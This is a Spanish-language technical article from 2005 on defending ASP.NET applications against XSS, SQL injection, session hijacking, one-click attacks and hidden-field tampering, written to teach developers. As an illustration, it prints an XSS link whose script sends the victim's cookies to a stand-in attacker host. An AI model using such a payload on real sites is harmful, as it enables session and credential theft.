Cómo aprovechar las ventajas de las características integradas de ASP.NET para rechazar los ataques a través de Internet (artículos técnicos sobre ASP.NET)

18 de Julio de 2005

Publicado: Enero de 2005

Dino Esposito

Wintellect

Se aplica a

Microsoft ASP.NET 1.x

Microsoft ASP.NET 2.0

Resumen: Dino presenta los tipos más comunes de ataques que se pueden producir a través de Internet y describe el modo en que los desarrolladores de Web pueden utilizar las características integradas de ASP.NET para incrementar la seguridad. (13 páginas impresas.) (Este artículo contiene vínculos a páginas en inglés.)

En esta página

Medidas que los desarrolladores de ASP.NET siempre deberían adoptar Medidas que los desarrolladores de ASP.NET siempre deberían adoptar
Origen de las amenazas Origen de las amenazas
ViewStateUserKey ViewStateUserKey
Cookies y autenticación Cookies y autenticación
Secuestro de sesion Secuestro de sesion
EnableViewStateMac EnableViewStateMac
ValidateRequest ValidateRequest
Perspectiva de base de datos Perspectiva de base de datos
Campos ocultos Campos ocultos
Mensajes y correo electrónico no deseado Mensajes y correo electrónico no deseado
Resumen Resumen
Recursos relacionados Recursos relacionados

Medidas que los desarrolladores de ASP.NET siempre deberían adoptar

Si está leyendo este artículo, es probable que no necesite que le instruyan sobre la creciente importancia de la seguridad en las aplicaciones Web. Seguramente está buscando algún consejo práctico sobre cómo implementar la seguridad en las aplicaciones ASP.NET. El problema es que, una vez que se adopta, ninguna plataforma de desarrollo (incluida ASP.NET) puede garantizar que el código que se escribe con ella es seguro al cien por cien; si alguien dijera lo contrario, mentiría. Sin embargo, no todo son malas noticias, ASP.NET, y especialmente la versión 1.1 y la próxima versión 2.0, incluye una serie de barreras defensivas integradas, listas para usarse.

La aplicación de todas estas características no es suficiente en sí misma para proteger una aplicación Web de todos los ataques posibles y predecibles. No obstante, combinadas con otras técnicas defensivas y estrategias de seguridad, las características integradas de ASP.NET constituyen un eficaz kit de herramientas que ayuda a garantizar que las aplicaciones funcionan en un entorno seguro.

La seguridad Web es la suma de varios factores y el resultado de una estrategia que traspasa los límites de la aplicación individual para implicar a la administración de bases de datos, la configuración de la red y la ingeniería social y el "phishing".

El objetivo de este artículo es explicar las medidas que los desarrolladores de ASP.NET deberían adoptar en todo momento con el fin de mantener el listón de seguridad a una altura razonable. En eso consiste básicamente la seguridad: en mantener la guardia alta, nunca sentirse completamente seguro y poner cada vez más trabas a los piratas informáticos.

Veamos la forma en la que ASP.NET puede ayudar a simplificar esta tarea.

Origen de las amenazas

En la tabla 1 se ofrece un resumen de los tipos más comunes de ataques a través de Internet y los errores en la aplicación que pueden hacer que tengan éxito.

Ataque

Puede ocurrir por...

Secuencias de comandos entre sitios (XSS)

Eco de la entrada de un usuario que no es de confianza hacia la página

Inyección SQL

Concatenación de la entrada de usuario para formar comandos SQL

Secuestro de sesión

Descubrimiento del Id. de sesión y robo de cookies de Id. de sesión

Ejecución de código con un clic

Envíos HTTP desconocidos que se exponen a través de secuencias de comandos

Alteración de campos ocultos

Campos ocultos no comprobados (y de confianza) que se rellenan con datos confidenciales

Tabla 1. Ataques habituales a través de Internet

Los hechos clave que se deducen de esta lista son, en mi opinión, los tres siguientes:

  • Siempre que se inserta algún tipo de entrada de usuario en el marcado del explorador, se corre el riesgo de un ataque de inyección de código (en cualquiera de las variantes de inyección SQL y XSS).

  • El acceso a la base de datos se debe llevar a cabo de modo seguro; es decir, utilizando el menor número de permisos posible para las cuentas y delimitando la responsabilidad del usuario individual mediante funciones.

  • Los datos confidenciales no deben enviarse en ningún caso a través de Internet (y mucho menos como texto sin cifrar) y se deben almacenar de modo seguro en el servidor.

Resulta interesante señalar que los tres puntos anteriores hacen referencia a tres aspectos diferentes de la seguridad en Internet; su combinación constituye el único método razonable de crear una aplicación protegida y resistente a las alteraciones. Las distintas facetas de la seguridad en Internet se pueden resumir del siguiente modo:

  • Prácticas relacionadas con código: validación de datos, comprobación del tipo y longitud del búfer, medidas contra la alteración

  • Estrategias de acceso a los datos: uso de funciones para asegurar la cuenta más débil, uso de procedimientos almacenados o al menos de comandos parametrizados

  • Almacenamiento y administración eficaces: evitar el envío de datos confidenciales al cliente, uso de códigos hash para detectar la manipulación, autenticación de los usuarios y protección de las identidades, aplicación de directivas rigurosas para las contraseñas

Como se puede observar, una aplicación segura sólo se puede conseguir mediante los esfuerzos conjuntos de desarrolladores, arquitectos y administradores. No existe otro modo de lograrlo.

Cuando escribe aplicaciones con ASP.NET, el desarrollador no está solo, ni provisto únicamente de su propia capacidad para escribir líneas de código, en su lucha contra los piratas informáticos. En ASP.NET 1.1 y versiones posteriores se proporcionan unas características específicas que levantan barreras automáticas contra algunas de las amenazas citadas anteriormente. A continuación las examinaremos con detenimiento.

ViewStateUserKey

Incluida por vez primera en ASP.NET 1.1, ViewStateUserKey es una propiedad de cadena de la clase Page con la que sólo algunos desarrolladores admiten estar familiarizados. ¿Por qué? Leamos lo que la documentación dice sobre esta propiedad.

Asigna un identificador a un usuario individual en la variable de estado de vista asociada a la página actual

A pesar de su estilo enrevesado, la frase es bastante clara; pero, ¿se puede afirmar sinceramente que explica el objetivo que persigue dicha propiedad? Para comprender el papel que desempeña ViewStateUserKey es necesario avanzar en la documentación hasta llegar a la sección de observaciones.

Esta propiedad ayuda a evitar los ataques de ejecución de código con un clic al proporcionar entradas adicionales para crear el valor hash que defiende el estado de vista de la alteración. En otras palabras, ViewStateUserKey consigue que a los piratas informáticos les resulte mucho más complicado utilizar el contenido del estado de vista del cliente para preparar envíos malintencionados contra el sitio. A esta propiedad se puede asignar cualquier cadena no vacía, preferiblemente el Id. de sesión o de usuario. Para comprender mejor la relevancia de esta propiedad, revisaremos brevemente los fundamentos de los ataques de ejecución de código con un clic.

Un ataque de ejecución de código con un clic consiste en enviar un formulario HTTP malintencionado a un sitio Web conocido y vulnerable. Se llama así debido a que generalmente se inicia cuando una víctima hace clic en un vínculo atractivo que recibe a través del correo electrónico o que encuentra mientras visita un foro muy popular. Al seleccionar el vínculo, el usuario desencadena sin advertirlo un proceso remoto que finalmente envía el formulario malintencionado a un sitio Web. Seamos sinceros, ¿puede afirmar que nunca ha seguido un vínculo como Haga clic aquí si desea ganar 1.000.000 de euros simplemente para ver qué ocurre? Aparentemente no ocurre nada malo. Supongamos que ciertamente no sucediera nada; ¿podríamos afirmar lo mismo para todo el resto de la comunidad Web? Quién sabe.

Para tener éxito, este tipo de ataque requiere que se den determinadas condiciones generales:

  • El atacante debe tener un amplio conocimiento del sitio vulnerable. Esto puede suceder cuando el atacante ha analizado con detalle el archivo o cuando se trata de alguien con conocimientos de dicho sitio que actúa por despecho (por ejemplo, un empleado malintencionado al que han despedido). Por este motivo, el ataque podría ser potencialmente devastador.

  • El sitio debe utilizar cookies (mejor si se trata de cookies persistentes) para implementar el inicio de sesión único, y el atacante debería haber recibido una cookie de autenticación válida.

  • Algunos usuarios del sitio deben llevar a cabo transacciones con información confidencial.

  • El atacante debe tener acceso a la página de destino

Como se ha mencionado, el ataque consiste en el envío de un formulario HTTP malintencionado a una página en la que se espera un formulario. Lógicamente, esta página utilizará los datos enviados para realizar alguna operación con información confidencial. El atacante sabe perfectamente cómo se utilizará cada campo y puede idear valores suplantados para conseguir su objetivo. Generalmente se trata de un ataque que consigue su objetivo; además, resulta complicado realizar un seguimiento del mismo debido a la estructura triangular que establece: el pirata informático induce a una víctima a que haga clic en un vínculo de su sitio Web, que a su vez envía el código malintencionado a un tercer sitio. (Consulte la figura 1.)

Figura 1. El ataque de ejecución de código con un clic

¿Por qué se elige una víctima ajena al sitio al que se desea atacar? Porque de esta forma los registros del servidor muestran que la dirección IP en la que se origina la solicitud malintencionada es la de la víctima. Como se ha mencionado, este ataque no es tan habitual (ni sencillo de preparar) como un ataque de XSS "clásico"; sin embargo, su naturaleza lo hace potencialmente devastador. ¿Existe algún remedio? Revisemos los mecanismos del ataque en el contexto de ASP.NET.

A menos que la acción esté codificada en el evento Page_Load, una página ASP.NET no puede ejecutar código confidencial fuera de un evento de devolución de datos. El campo de estado de vista es obligatorio para que un evento de devolución de datos pueda producirse. Es necesario tener en cuenta que ASP.NET comprueba el estado de la devolución de datos de una solicitud y establece IsPostBack en función del mismo y de la presencia del campo de entrada _VIEWSTATE. De esta forma, si alguien desea enviar una solicitud falsa a una página ASP.NET, deberá proporcionar obligatoriamente un campo de estado de vista válido.

Para que el ataque de ejecución de código con un clic funcione, el pirata informático debe haber obtenido acceso a la página. Cuando lo obtuvo, seguramente tomó la precaución de guardar la página de forma local. De esta manera puede tener acceso al campo _VIEWSTATE y utilizarlo para crear una solicitud con el estado de vista anterior y unos valores malintencionados en otros campos. La pregunta es la siguiente: ¿funcionará esta estrategia?

¿Por qué no? Si el pirata informático puede proporcionar una cookie de autenticación válida, conseguirá entrar y la solicitud se procesará con normalidad. El contenido del estado de vista no se comprueba en el servidor (cuando EnableViewStataMac está desactivado) o sólo se comprueba contra la alteración. De forma predeterminada, no existe ningún elemento en el estado de vista que vincule ese contenido a un usuario concreto. El atacante puede reutilizar fácilmente el estado de vista obtenido mediante acceso legal a la página para crear una solicitud falsa en nombre de otro usuario. Es en este punto donde ViewStateUserKey desempeña un papel fundamental.

Si se elige correctamente, la propiedad agrega información específica del usuario al estado de vista. Cuando se procesa la solicitud, ASP.NET extrae la clave del estado de vista y la compara con la propiedad ViewStateUserKey de la página que se está ejecutando. Si ambas coinciden, la solicitud se considera legítima; en caso contrario se inicia una excepción. ¿Cuáles son los valores válidos de la propiedad?

Establecer ViewStateUserKey como una cadena constante (idéntica para todos los usuarios) equivale a dejarla en blanco. Se debe establecer de modo que varíe para cada usuario (Id. de usuario o, mejor aún, Id. de sesión). Por una serie de motivos técnicos y sociales, el Id. de sesión resulta una opción más adecuada ya que es impredecible, su tiempo de espera se agota y varía de un usuario a otro.

Este es el código que se debe incluir en todas las páginas:

void Page_Init (object sender, EventArgs e) {  
   ViewStateUserKey = Session.SessionID;  
   :  
}

Para evitar tener que escribirlo repetidas veces, se puede incluir en el método virtual OnInit de la clase derivada de Page. (Esta propiedad se debe establecer en el evento Page.Init.)

protected override OnInit(EventArgs e) {  
   base.OnInit(e);   
   ViewStateUserKey = Session.SessionID;  
}

En general, utilizar una clase de página base siempre resulta recomendable, como se explica en otro de mis artículos: Build Your ASP.NET Pages on a Richer Bedrock. Un excelente artículo para obtener más información acerca de las tácticas de los atacantes de ejecución de código con un clic se puede encontrar en aspnetpro.com.

Cookies y autenticación

Las cookies existen porque pueden ayudar a los desarrolladores a conseguir resultados. Funcionan como un tipo de vínculo persistente entre el explorador y el servidor. Especialmente en el caso de las aplicaciones que utilizan el inicio de sesión único, el robo de una cookie hace que se pueda llevar a cabo un ataque. Esto es exactamente lo que ocurre en los ataques de ejecución de código con un clic.

Para utilizar cookies, no es necesario crearlas y leerlas explícitamente mediante programación. Las cookies se usan de forma implícita si se utilizan estados de sesión y si se implementa la autenticación de formularios. Por supuesto, ASP.NET admite estados de sesión sin cookies, y ASP.NET 2.0 incluye también autenticación de formularios sin cookies. Así que, en teoría, se pueden utilizar estas características prescindiendo de las cookies. No afirmo que no se deban usar, pero este es uno de los casos en los que el remedio puede ser peor que la enfermedad. De hecho, las sesiones sin cookies incrustan el Id. de sesión en la dirección URL de forma que queda visible para cualquiera.

¿Cuáles son los problemas potenciales relacionados con el uso de las cookies? Las cookies se pueden robar (es decir, copiarse en el equipo del atacante) y envenenar (llenarse con datos malintencionados). Estas acciones son con frecuencia el preludio de un próximo ataque. Si se roban, las cookies de autenticación "autorizan" a los usuarios externos a conectarse a la aplicación (y utilizar páginas protegidas) en nombre de otro usuario, con lo que los propios piratas informáticos podrían omitir la autorización y disfrutar de cualquier función o establecer cualquier opción de configuración permitidas a la víctima. Por este motivo, generalmente se da una duración bastante corta a las cookies de autorización: 30 minutos. (La cookie caduca aunque la sesión del explorador tarde más tiempo en completarse.) En caso de robo, los atacantes disponen de un margen de 30 minutos para intentar el ataque.

Este margen se puede ampliar para evitar que los usuarios deban iniciar sesión con demasiada frecuencia, pero no se debe olvidar que esto puede implicar riesgos. En cualquier caso, se recomienda no utilizar cookies persistentes de ASP.NET, ya que de ese modo la duración de la cookie sería prácticamente ilimitada y podría llegar incluso a 50 años. En el siguiente fragmento de código se muestra el modo en que se puede modificar la caducidad de la cookie según se desee.

void OnLogin(object sender, EventArgs e) { 
   // Check credentials 
   if (ValidateUser(user, pswd)) { 
      // Set the cookie's expiration date 
      HttpCookie cookie; 
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent); 
      if (isPersistent)  
         cookie.Expires = DateTime.Now.AddDays(10); 
 
      // Add the cookie to the response 
      Response.Cookies.Add(cookie); 
 
      // Redirect 
      string targetUrl; 
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent); 
   Response.Redirect(targetUrl); 
   } 
}

Puede que desee utilizarlo en sus propios formularios de inicio de sesión para ajustar la duración de las cookies de autenticación.

Secuestro de sesion

Las cookies también se usan para recuperar el estado de sesión de un usuario específico. El Id. de sesión se incluye en una cookie que se envía con la solicitud y se almacena en el equipo del explorador. De nuevo, si un pirata informático roba la cookie de sesión, puede entrar en el sistema y obtener acceso al estado de sesión de otro usuario. No es necesario mencionar que esto puede ocurrir mientras la sesión especificada está activa, generalmente no más de 20 minutos. El ataque realizado mediante la suplantación de un estado de sesión se denomina secuestro de sesión. Para obtener información más detallada acerca del secuestro de sesión, lea Theft On The Web: Prevent Session Hijacking.

¿Cuál es la peligrosidad de este ataque? Resulta difícil de decir. Depende del funcionamiento del sitio Web y, lo que es más importante, del modo en que estén diseñadas sus páginas. Por ejemplo, supongamos que ha conseguido la cookie de sesión de otro usuario y que la ha adjuntado a una solicitud de una página en el sitio. Puede cargar la página y trabajar en su interfaz de usuario normal. No puede inyectar ningún código en la página, ni tampoco existe nada en ella que pueda alterar, simplemente la página funciona con el estado de sesión de otro usuario. Esto no es malicioso en sí, pero los piratas informáticos podrían tener éxito en su ataque si la información de la sesión fuera confidencial e importante. Es decir, el atacante no puede examinar el contenido del almacén de la sesión, pero éste se puede utilizar como si lo hubiese facilitado el pirata informático legítimamente. Por ejemplo, piense en una aplicación de comercio electrónico en la que los usuarios agregan elementos a un carro de la compra mientras exploran el sitio.

  • Escenario 1. El contenido del carro de la compra se almacena en el estado de la sesión. Sin embargo, antes de finalizar el proceso de compra, se solicita al usuario que confirme y escriba los detalles de pago a través de una conexión SSL segura. En este caso, la conexión al estado de la sesión de otro usuario sólo permitiría al pirata informático conocer algunos detalles acerca de las preferencias de compra de la víctima. En este contexto, el secuestro de la sesión no produce ningún tipo de daño. Únicamente se pone en riesgo la confidencialidad.

  • Escenario 2. La aplicación dispone de un perfil para cada usuario registrado y lo almacena en el estado de la sesión. Supongamos que el perfil contiene información de la tarjeta de crédito (como perfectamente podría ocurrir). ¿Por qué almacenar detalles sobre el perfil del usuario en la sesión? Quizás uno de los objetivos de la aplicación sea en último término evitar a los usuarios que tengan que escribir la información bancaria y de la tarjeta de crédito repetidas veces. Por lo tanto, antes de finalizar el proceso de compra, la aplicación lleva al usuario a una página con campos previamente rellenos. Por una falta de previsión, uno de estos campos contiene el número de la tarjeta de crédito que se ha tomado del estado de la sesión. ¿Puede adivinar ahora el final de la historia?

El diseño de la página de la aplicación resulta fundamental para evitar ataques de secuestro de sesión. Pero aún quedan dos cuestiones por resolver. La primera es lo que se puede hacer para evitar el robo de las cookies. La segunda, cómo puede ASP.NET detectar y bloquear los secuestros de sesión.

La cookie de sesión de ASP.NET es extremadamente sencilla y se limita a contener la cadena de Id. de sesión. El tiempo de ejecución de ASP.NET extrae el Id. de sesión de la cookie y lo contrasta con las sesiones activas. Si el Id. es válido, ASP.NET conecta con la sesión correspondiente y continúa el proceso con normalidad. Este comportamiento facilita en gran medida el trabajo a los piratas informáticos que han robado, o pueden adivinar, un Id. de sesión válido.

Los ataques de XSS y a través de intermediarios, así como el acceso no autorizado a un PC de cliente, son métodos posibles para obtener una cookie válida. Para evitar robos, es necesario implementar las prácticas de seguridad más adecuadas para impedir que los ataques de XSS, y cualquiera de sus variantes, tengan éxito.

Para impedir que se pueda adivinar el Id. de sesión simplemente se debe procurar no sobrevalorar los conocimientos de los que se dispone. Conocer el Id. de sesión implica que se cuenta con un método para predecir una cadena de Id. de sesión válida. Con el algoritmo que utiliza ASP.NET (15 números aleatorios asignados a caracteres habilitados para URL), la probabilidad de adivinar un Id. válido por casualidad es prácticamente nula. No encuentro ningún motivo que justifique la sustitución del generador de Id. de sesión predeterminado por uno propio. En la mayoría de los casos, sólo serviría para simplificar el trabajo a los piratas informáticos.

El problema más grave de un secuestro de sesión es que una vez se ha robado o adivinado una cookie, ASP.NET no puede detectar el uso fraudulento de la misma. De nuevo, esto se debe a que ASP.NET se limita a comprobar la validez del Id. y a cuestionar la procedencia de la cookie.

Jeff Prosise, compañero mío en Wintellect, escribió un artículo excelente sobre el secuestro de sesión para MSDN Magazine. Aunque sus conclusiones no son muy alentadoras, ya que de ellas se deduce que resulta prácticamente imposible crear una defensa infalible contra los ataques que utilizan cookies de Id. de sesión robadas, el código que ha desarrollado ofrece un brillante enfoque para elevar aún más el listón de la seguridad. Jeff ha creado un módulo HTTP que supervisa las solicitudes entrantes y las respuestas salientes para las cookies de Id. de sesión. Este módulo agrega un código hash a los Id. de sesión salientes que dificulta que el atacante puede volver a utilizar la cookie. Puede obtener más detalles aquí.

EnableViewStateMac

El estado de vista se utiliza para hacer persistente el estado de los controles en dos solicitudes sucesivas de la misma página. De forma predeterminada, el estado de vista está codificado con Base64 y firmado con un valor hash para evitar la alteración. A menos que se cambie la configuración predeterminada de la página, el estado de vista no corre peligro de sufrir alteraciones. Si un atacante lo modifica, o incluso si lo reconstruye mediante el algoritmo correcto, ASP.NET detecta el intento e inicia una excepción. Un estado de vista alterado no resulta necesariamente perjudicial (aunque modifica el estado de los controles del servidor), pero puede convertirse en el vehículo de graves infecciones. Por este motivo, resulta fundamental no eliminar la comprobación del código de autenticación del equipo (MAC) que se lleva a cabo de forma predeterminada. Consulte la figura 2.

Figura 2. Elementos que hacen que el estado de vista sea resistente intrínsecamente a las alteraciones cuando EnableViewStateMac está habilitado

Cuando está habilitada la comprobación de MAC (la opción predeterminada), se agrega al estado de vista en serie un valor hash, que se obtiene de algunos valores del servidor, y la clave de usuario del estado de vista, si la hubiera. Cuando se realiza una devolución de datos del estado de vista, el valor hash se calcula de nuevo utilizando valores actualizados del servidor y se compara con el valor almacenado. Si coinciden, se permite la solicitud; en caso contrario, se inicia una excepción. Incluso aunque el pirata informático tuviera los conocimientos necesarios para hacerse con el estado de vista y volver a generarlo, debería conocer los valores almacenados en el servidor para crear un hash válido. En concreto, el atacante debería conocer la clave del equipo a la que se hace referencia en la entrada <machineKey> de machine.config.

De forma predeterminada, la entrada <machineKey> se genera automáticamente y se almacena físicamente en la Autoridad de seguridad local (LSA) de Windows. Sólo en el caso de las baterías de servidores Web, en las que las claves de equipo del estado de vista deben ser idénticas en todos los equipos, se debe especificar como texto sin cifrar en el archivo machine.config.

La comprobación de MAC del estado de vista se controla mediante un atributo de directiva @Page llamado EnableViewStateMac. Como se ha mencionado, éste se establece como verdadero de forma predeterminada. En ningún caso se deberá deshabilitar, ya que de hacerse se podrían realizar ataques de ejecución de código con un clic para producir alteraciones del estado de vista, que tendrían muchas posibilidades de llevarse a cabo con éxito.

ValidateRequest

Las secuencias de comandos entre sitios (XSS) son viejas conocidas de muchos desarrolladores de Web experimentados, puesto que existen desde 1999 aproximadamente. En pocas palabras, XSS aprovecha los carencias de seguridad del código para incluir el código ejecutable de un pirata informático en la sesión del explorador de otro usuario. Al ejecutarse, el código inyectado puede llevar a cabo diversas acciones: obtener cookies y cargar una copia en el sitio Web que controla un pirata informático, supervisar la sesión Web del usuario y reenviar datos, modificar el comportamiento y el aspecto de la página atacada y mostrar información incorrecta e incluso hacerse persistente, para que la próxima vez que el usuario vuelva a la página, el código fraudulento se ejecute nuevamente. Puede obtener información más detallada acerca de los fundamentos de un ataque XSS en el artículo de TechNet Cross-site Scripting Overview.

¿Qué espacios de bucle del código hacen que se puedan producir los ataques XSS?

XSS ataca a las aplicaciones Web que generan dinámicamente páginas HTML y que no validan la entrada que se envía como eco a la página. Entrada en este caso se refiere al contenido de las cadenas de consulta, las cookies y los campos de formularios. Si este contenido se envía a Internet sin las debidas comprobaciones de validez, existe el riesgo de que los piratas informáticos lo manipulen para ejecutar secuencias de comandos malintencionadas en los exploradores de los clientes. (Al fin y al cabo, el ataque de ejecución de código con un clic mencionado anteriormente es una variante reciente de XSS.) Un ataque XSS típico es aquel en el que un usuario desprevenido selecciona un vínculo atractivo que incrusta un código de secuencia de comandos convertido. El código fraudulento se envía a una página vulnerable lo genera como salida. A continuación se muestra un ejemplo de lo que puede ocurrir:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= 
<script>document.location.replace( 
'http://www.hackersite.com/HackerPage.aspx? 
Cookie=' + document.cookie); 
</script>">Click to claim your prize</a>

El usuario hace clic en un vínculo aparentemente seguro y termina pasando a una página vulnerable un fragmento de código de secuencia de comandos que, en primer lugar obtiene todas las cookies del equipo del usuario y, a continuación, las envía a una página del sitio Web del pirata informático.

Es necesario señalar que XSS no es un problema específico de proveedor y que no aprovecha necesariamente las carencias de seguridad de Internet Explorer. Afecta a todos los servidores y exploradores Web que existen actualmente en el mercado. Y aún más importante es el hecho de que no existe una revisión que lo solucione. Puede proteger las páginas contra XSS si aplica medidas específicas y utiliza prácticas de codificación correctas. Además, debe tener en cuenta que el atacante no necesita que el usuario haga clic en un vínculo para iniciar el ataque.

Para defenderse contra XSS, debe determinar qué entrada es válida y rechazar todas las demás. Puede encontrar una lista de comprobación detallada para impedir los ataques XSS en un libro de obligada lectura, en Microsoft: Writing Secure Code de Michael Howard y David LeBlanc. En particular, recomiendo que se examine detenidamente el capítulo 13.

El principal mecanismo para rechazar los insidiosos ataques XSS consiste en agregar una capa de validación sólida y correctamente elaborada a todos los tipos de datos de entrada. Por ejemplo, existen circunstancias en las que incluso un color que en otro momento resultaría inocuo (un triple RGB) puede insertar secuencias de comandos no controladas en la página.

En ASP.NET 1.1, cuando está activado, el atributo ValidateRequest de la directiva @Page comprueba que los usuarios no envían marcado HTML potencialmente peligroso en las cadenas de consulta, las cookies o los campos de formularios. Si se detectara que es así, se iniciaría una excepción y se cancelaría la consulta. Este atributo está activado de forma predeterminada; no es necesario realizar ninguna acción para estar protegido. Si desea permitir que se pase el marcado HTML, deberá deshabilitarlo específicamente.

<%@ Page ValidateRequest="false" %>

ValidateRequest no es infalible ni puede sustituir a una capa de validación eficaz. Haga clic aquí para obtener información valiosa y detallada acerca del funcionamiento de esta característica. Básicamente aplica una expresión regular para detectar algunas secuencias potencialmente dañinas.

Nota   La característica ValidateRequest originalmente contenía errores ; era necesario aplicar una revisión para que funcionara correctamente. Este dato importante ha pasado inadvertido con frecuencia. Aunque parezca extraño, yo mismo encontré uno de mis equipos afectado por el error. Así pues, recomiendo que se compruebe.

No existe ningún motivo para no mantener activada la característica ValidateRequest. Se puede deshabilitar, aunque sólo si existe una razón de peso para ello, por ejemplo, si el usuario necesitara enviar HTML al sitio para conseguir unas mejores opciones de formato. En ese caso, deberá limitar el número de etiquetas HTML permitidas (<pre>, <b>, <i>, <p>, <br>, <hr>) y escribir una expresión regular que garantice que no se permitirá ni aceptará nada más.

Aquí se ofrecen algunas sugerencias más que ayudan a proteger las aplicaciones ASP.NET contra XSS:

  • Utilice HttpUtility.HtmlEncode para convertir los símbolos peligrosos en su representación HTML correspondiente.

  • Utilice comillas dobles en lugar de sencillas, puesto que la codificación HTML sólo convierte las comillas dobles.

  • Fuerce una página de códigos para limitar el número de caracteres que se pueden utilizar.

En resumen, utilice el atributo ValidateRequest pero no confíe completamente en él. Dedique algo de tiempo a comprender las amenazas para la seguridad tales como XSS desde su mismo origen y diseñe una estrategia de defensa que se centre en un aspecto fundamental: considerar que todas las entradas de usuario son perniciosas.

Perspectiva de base de datos

La inyección SQL es otro tipo conocido de amenaza que ataca a las aplicaciones que utilizan entradas de usuario sin filtrar para los comandos de base de datos de formularios. Si la aplicación utiliza alegremente lo que el usuario escribe en un campo de formulario para crear una cadena de comandos SQL, se correrá el riesgo de que un usuario malintencionado pueda obtener acceso a la página y facilitar parámetros fraudulentos para modificar la naturaleza de la consulta. Puede obtener más información acerca de la inyección SQL aquí.

Existen distintos modos de rechazar un ataque de inyección SQL. Las que se muestran a continuación son las técnicas más habituales.

  • Asegúrese de que todas las entradas de usuario son del tipo correcto y que siguen el patrón esperado (código postal, SSN, dirección de correo electrónico). Si espera un número en un cuadro de texto, bloquee la solicitud si el usuario escribe algo que no se pueda convertir en número.

  • Utilice consultas parametrizadas o, aún mejor, procedimientos almacenados.

  • Utilice permisos de SQL Server para limitar las acciones que los usuarios pueden realizar en la base de datos. Por ejemplo, puede que desee deshabilitar xp_cmdshell o limitarlo a los administradores.

Si utiliza procedimientos almacenados, reducirá significativamente la superficie de ataque. Con los procedimientos almacenados, de hecho, no es necesario crear cadenas SQL de forma dinámica. Además, todos los parámetros se validan en SQL Server frente a los tipos especificados. Aunque esta técnica por sí sola no es completamente segura, combinada con la validación ofrecerá mayor seguridad.

Aún más importante resulta garantizar que sólo los usuarios autorizados llevan a cabo operaciones que podrían resultar potencialmente devastadoras, por ejemplo, colocar tablas. Esto requiere un diseño cuidadoso de la capa intermedia de la aplicación. Una técnica recomendable, y no sólo por motivos de seguridad, consiste en centrarse en las funciones. Se agrupa a los usuarios según las funciones y se define una cuenta para cada función con el menor número de permisos posible.

Hace unas semanas, el sitio Web de Wintellect sufrió un ataque mediante una forma sofisticada de inyección SQL. El pirata informático intentó crear e iniciar una secuencia de comandos de FTP para descargar un archivo ejecutable probablemente malintencionado. Por suerte, el ataque no tuvo éxito. O quizás fueron la eficaz validación de entradas, el uso de procedimientos almacenados y de permisos de SQL Server los que impidieron que pudiera llevarse a cabo.

En resumen, siga las siguientes directrices para impedir inyecciones no deseadas de código SQL:

  • Otorgue los mínimos privilegios y nunca ejecute código como "sa".

  • Restrinja el acceso a los procedimientos almacenados integrados.

  • Favorezca el uso de consultas SQL parametrizadas.

  • No genere instrucciones mediante la concatenación de cadenas y no envíe eco de los errores de la base de datos.

Campos ocultos

En ASP clásico, los campos ocultos constituyen el único modo de persistir datos entre solicitudes. Todos los datos que se necesiten recuperar en la siguiente solicitud se empaquetan en un campo <input> oculto y se envían y devuelven. Sin embargo, si alguien modificara en el cliente los valores almacenados en el campo, el entorno del servidor no podría saberlo mientras el texto esté sin codificar. La propiedad ViewState de ASP.NET para páginas y controles individuales cumple dos objetivos. Por una parte, ViewState es el medio de persistir el estado entre solicitudes, y por otra, permite almacenar valores personalizados en un campo oculto protegido y resistente a las alteraciones.

Como se muestra en la figura 2, se agrega al estado de vista un valor hash que se comprueba en cada solicitud para detectar las alteraciones. No existe ningún motivo para utilizar campos ocultos en ASP.NET, salvo en contados casos, puesto que mediante el estado de vista se pueden realizar las mismas acciones de un modo mucho más seguro. Habiendo señalado desde el principio que almacenar valores confidenciales como detalles de precios o de tarjetas de crédito en un campo oculto es como dejar la puerta abierta a los piratas informáticos, mediante el estado de vista, esta práctica desaconsejada resultaría menos peligrosa gracias al mecanismo de protección de datos. No obstante, se debe tener en cuenta que aunque el estado de vista impide la alteración, no garantiza la confidencialidad a menos que se utilice el cifrado; por ese motivo, la información de las tarjetas de crédito almacenada en el estado de vista sigue estando en peligro.

La utilización de campos ocultos en ASP.NET se considera aceptable cuando se generan controles personalizados que deben devolver datos al servidor. Por ejemplo, supongamos que crea un control DataGrid que admite la ordenación de las columnas. Deberá pasar el nuevo orden al servidor mediante devoluciones de datos. ¿En qué otra ubicación puede almacenar esta información, si no es en un campo oculto?

Si el campo oculto es de lectura y escritura (es decir, que se espera que el cliente escriba en él) no hay mucho que se pueda hacer para protegerlo de los ataques. Puede intentar utilizar un hash o cifrar el texto, pero no tendría la certeza de que está completamente protegido. La mejor defensa consiste en incluir en el campo oculto una información inerte e inocua.

Dicho esto, se debe señalar que ASP.NET expone una clase poco conocida que se puede utilizar para codificar y cifrar mediante hash cualquier objeto en serie. Esta clase es LosFormatter, la misma que utiliza la implementación ViewState para crear el texto codificado que se envía y se devuelve al cliente.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

El fragmento de código anterior muestra cómo utilizar LosFormatter para crear contenido similar al estado de vista, codificado y cifrado mediante hash.

Mensajes y correo electrónico no deseado

Para concluir este artículo, señalaré que al menos dos de los ataques más habituales (el XSS clásico y el de ejecución de código con un clic) con frecuencia se llevan a cabo haciendo que víctimas desprevenidas seleccionen vínculos atractivos y suplantados. En muchas ocasiones encontramos dichos vínculos directamente en nuestra bandeja de entrada, pese a la existencia de filtros contra correo no deseado. Por muy poco dinero se pueden adquirir listas extensas de direcciones de correo electrónico. Una de las principales técnicas empleadas para crear estas listas consiste en examinar detenidamente las páginas públicas de los sitios Web y buscar y obtener cualquier cosa que se parezca a una dirección de correo electrónico.

Si una página muestra una dirección de correo electrónico, existen muchas posibilidades de que antes o después los robots Web se hagan con ella. Si se cuestiona si esto es cierto, déjeme decir que depende en gran medida del modo en que se muestren las direcciones de correo electrónico. Si las incluye en el código, no hay remedio posible. Si recurre a representaciones alternativas tales como dino-arroba-microsoft-punto-com, no es seguro que pueda despistar a un robot Web, pero sí conseguirá desesperar cualquier persona que lea la página y que desee establecer un contacto legítimo.

En general, debe encontrar un modo de generar dinámicamente la dirección de correo electrónico como un vínculo mailto. Esto es exactamente lo que hace un componente libre escrito por Marco Bellinaso. Puede conseguirlo con el código fuente completo en el sitio Web DotNet2TheMax.

Resumen

